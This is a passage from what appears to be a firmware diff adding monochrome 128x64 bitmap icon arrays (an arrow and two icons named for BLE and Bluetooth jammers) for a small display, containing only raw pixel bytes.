0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'arrow_right', 128x64px +const unsigned char bitmap_arrow_right [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x0f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x3f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x1f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x07, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'ble_jammer', 128x64px +const unsigned char bitmap_ble_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xf1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x80, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xc0, 0x80, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc0, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc1, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xcf, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xcf, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xc7, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc1, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc0, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xc0, 0x80, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x80, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xf1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'bluetooth_jammer', 128x64px +const unsigned char bitmap_bluetooth_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xfc, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x07, 0xfc, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x0f, 0xbc, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x3c, 0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x3c, 0x7e, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x3c, 0x7e, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3c, 0x3f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 